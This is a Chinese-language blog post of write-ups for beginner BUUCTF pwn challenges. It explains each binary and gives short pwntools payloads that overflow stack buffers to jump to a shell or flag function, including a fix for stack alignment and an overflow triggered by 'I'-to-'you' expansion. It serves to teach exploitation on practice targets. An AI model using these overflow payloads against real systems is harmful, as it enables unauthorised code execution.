【pwn学习】buuctf pwn题目(一)

test_you_nc

进去看main里面就是sh



所以nc就好


rip

checksec一下发现是64位



看一下代码没有任何过滤直接一个rop应该就行了



有个fun函数直接就有sh了,就跳过去就好了

payload

system_addr = 0x0401186
payload = flat(
    'A'*15, 0, system_addr
)
cn.sendline(payload)
cn.interactive()

奇怪的是
system_addr = 0x0401186
打到远程的话会报错本地没有问题


报错原因百度了一下好像是因为栈出问题了
http://blog.eonew.cn/archives/958
少个push就没问题了
所以最后payload

system_addr = 0x0401187
payload = flat(
    'A'*15, 0, system_addr
)
cn.sendline(payload)
cn.interactive()

主要是2.27的system多了一个movaps需要对齐rsp

warmup_csaw_2016

先checksec一下文件



反编译一下
sub_40060D就是一个system地址所以只要跳过去就好了
感觉比上一个简单



这次学乖了多了一个1

pwn1_sctf_2016


32位的
还是反编译先
好像是c++有点难度了



居然没有栈溢出了震惊

难道是格式化字符串?



有个getflag的函数
估计跳过去就行可是怎么跳呢



FUZZ了一下会把I变成you
很多个i变成you就会产生溢出

所以需要溢出0x3C
还有4个ebp
然后加上那个flag的return地址就好啦



60个好像不行啊奇怪
debug了一下

在这里发生了栈溢出

0x3c是60
所以要放20个i
就会有60个布满了
所以payload


z('b*0x080492BF')
system_addr = 0x08048F0E
payload = flat('I'*20,'0'*4,system_addr)

cn.sendline(payload)
cn.interactive()

你可能感兴趣的:(【pwn学习】buuctf pwn题目(一))